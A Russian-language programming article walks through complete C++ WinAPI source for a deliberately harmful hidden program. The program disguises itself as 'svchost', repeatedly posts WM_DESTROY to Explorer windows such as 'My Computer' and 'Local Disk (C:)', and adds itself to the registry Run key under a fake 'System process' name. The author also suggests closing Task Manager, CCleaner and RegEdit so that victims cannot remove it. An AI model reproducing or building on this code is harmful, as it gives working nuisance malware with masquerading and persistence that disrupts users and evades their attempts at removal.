Главная » Статьи » Статьи [ Добавить статью ]

Простой пример "плохой" программы


Начну с того, что программы могут обмениваться сообщениями. То есть, нажав на кнопку в одной, можно вывести текст в другой. Но это касается не только текста и графики. Сообщение передаётся не таким типом, как "Найти процесс ТАКОЙ_ТО и сделай то то конкретно", а так, сначала программа находит другую программу либо по дескриптору, либо, если он не известен, по заголовку окна. После нахождения программой другого окна, можно передать обычное сообщение PostMessage, в котором указывается на ту команду оконной процедуры, которую необходимо выполнить. Например WM_PAINT.
Предположительно, почти любой (ибо я не проверял) программе можно послать сообщение о её закрытии, путём передачи команды WM_DESTROY.

Я решил проверить этот способ, и запустил программу Finale 2010. Она была запущена, и одновременно была открыта папка где она лежала. Заголовок папки тоже был как и в программе "Finale 2010". Но после тестирования, программа не закрылась. И к своему ужасу я увидел, как папка Finale 2010 стала пустой. Я удивился, как всё смогло удалиться, если программа работает. Оказывается, папка получила сообщение WM_DESTROY, но не закрылась. Может быть это Баг, может глюк Windows. Открыл эту папку в новом окне, и все файлы были на месте. Эта ситуация натолкнула меня на создание вредной программы, которая посылает WM_DESTROY указанным папкам.

Нам нужно создать пустой проект Win32

Во вкладке Application Settings ставим галочку на Empty project. То есть - пустой проект.

В свойствах проекта нужно указать Character Set как Use Multy-Byte Character Set

Можно писать и с Unicode Character Set, но только нужно будет указывать в некоторым местах дополнительные символы.

Код добавляется по степенно, то есть, копируя и вставляя вы получите полный исходный код программы.

Код
#include <Windows.h>

int InitApp(HINSTANCE a1);
HWND hWnd, hWnd2, hWnd3;
#define TIMER_SECOND 1

Указываем заголовочный файл, прототип функции инициализации окна, дескрипторы окон, и макрос, указывающий время периода в секундах, по истечении которого программа отсылает сообщение о закрытии окна.

Код
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hinst, PSTR str, int OknIcon)
{
  MSG msg;

  if(InitApp(hInst)) return 0;
   
  while(GetMessage((LPMSG)&msg,NULL,0,0))
  {
  DispatchMessage((LPMSG)&msg);
  TranslateMessage(&msg);
   
  }
  return msg.wParam;
}

Стандартная WinMain функция.

Код
LRESULT APIENTRY InputWndProc(HWND hWnd, UINT message,
  WPARAM wParam, LPARAM lParam)
{

Начало кода оконной функции.

Код
SetTimer( hWnd, TIMER_SECOND, 1000, NULL );

Устанавливаем таймер.

Код
switch(message)
  {
  case WM_DESTROY:
  PostQuitMessage(0);
  return 0;

Обработка сообщений. Команда WM_DESTROY как бы означает нажатие на красный крестик.
В нашем случае окно не будет отображаться, и данный case по сути будет лишним.

Код
case WM_TIMER:

  switch (wParam)
  {
  case TIMER_SECOND:
   
  hWnd2 = FindWindow(0,"Мой компьютер");
  hWnd3 = FindWindow(0,"Локальный диск (C:)");
   
  if(hWnd2){ PostMessage(hWnd2,WM_DESTROY,(WPARAM)hWnd,0);}
  if(hWnd3){ PostMessage(hWnd3,WM_DESTROY,(WPARAM)hWnd,0);}
   
  break;
  }
  default:
   
  return DefWindowProc(hWnd, message,wParam, lParam);
  }

   
  return 0;
}

Теперь обработка сообщения, в случае если оно поступило от таймера. Когда отсчитает 1 секунда, выполниться case TIMER_SECOND: Это сделано специально чтобы нельзя было открыть Мой компьютер в нескольких окнах - они все будут неработоспособными.

В дескриптор hWnd2 и hWnd3 мы вносим дескрипторы окон, имеющие соответствующие заголовки. Далее по условию, окну с указанным дескриптором посылается сообщение о закрытии программы.

Код
int InitApp(HINSTANCE hInst)
{
  LPCTSTR Name = "svchost";
  WNDCLASS wc;

   
   
  wc.hInstance = hInst;
  wc.hCursor = LoadCursor(NULL, IDC_CROSS);
  wc.hIcon = LoadIcon(NULL, IDI_ASTERISK);
  wc.lpszMenuName = NULL;
  wc.lpszClassName = Name;
  wc.hbrBackground = NULL;
  wc.style = CS_VREDRAW | CS_HREDRAW;
  wc.cbClsExtra = 0;
  wc.cbWndExtra = 0;
  wc.lpfnWndProc = InputWndProc;

   
  ATOM WNDClass= RegisterClass(&wc);
   
  if(!WNDClass) return 1;

  hWnd = CreateWindow(Name, NULL, NULL, 0, 0, 80, 10, NULL, NULL, hInst, NULL);
  if(!hWnd) return 2;

  return 0;
}

Стандартная функция инициализации окна. Окно у нас не отображается, процесс можно увидеть только в Диспетчере задач.

Это всё. Достаточно для головной боли неопытного пользователя. Можно ужесточить ситуацию, указав больше названий окон, программ. Можно добавить программу в автозагрузку, вставив код
Код
TCHAR szPath[MAX_PATH];  
  HKEY newValue;

  GetModuleFileName(NULL,szPath,MAX_PATH);  
  RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
  RegSetValueEx(newValue,"System process",0,REG_SZ,(LPBYTE)szPath,sizeof(szPath));
  RegCloseKey(newValue);

в оконную процедуру, выше SetTimer.

Приложение будет запускаться каждый раз, и будет висеть с названием svchost.exe Однако знающие увидят, что оно запущено от имени администратора, и её можно закрыть без сбоя системы.

Так же можно сделать чтобы диспетчер задач закрывался как и остальные окна. Для этого, в глобальных переменных определяем ещё один дескриптор hWnd4, и вставляем код в case TIMER_SECOND:
Код
hWnd4 = FindWindow(0,"Диспетчер задач Windows");
  if(hWnd4){ PostMessage(hWnd4,WM_DESTROY,(WPARAM)hWnd,0);}

Запустите Ccleaner и найдите в автозагрузке наш процесс. Можно попробовать закрыть и Ccleaner, и RegEdit...

Конечно, можно сделать более вредную программу используя другие алгоритмы. Но я только учусь, только осваиваю сообщения и всё. Но и этих знаний достаточно. Тестировал на Windows XP.

Будьте осторожны, и лучше изучите предназначения процессов, отображённых диспетчере задач!

Пример работы:


Категория: Статьи | Добавил: АДМИН (2013/Апр/13) | Автор: Пример, Windows, Код, TiMER, Взлом,
Просмотров: 946 | Теги: WINDOWS, пример, timer, код, взлом, реестр, программирование, WinApi, regedit, c++ | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]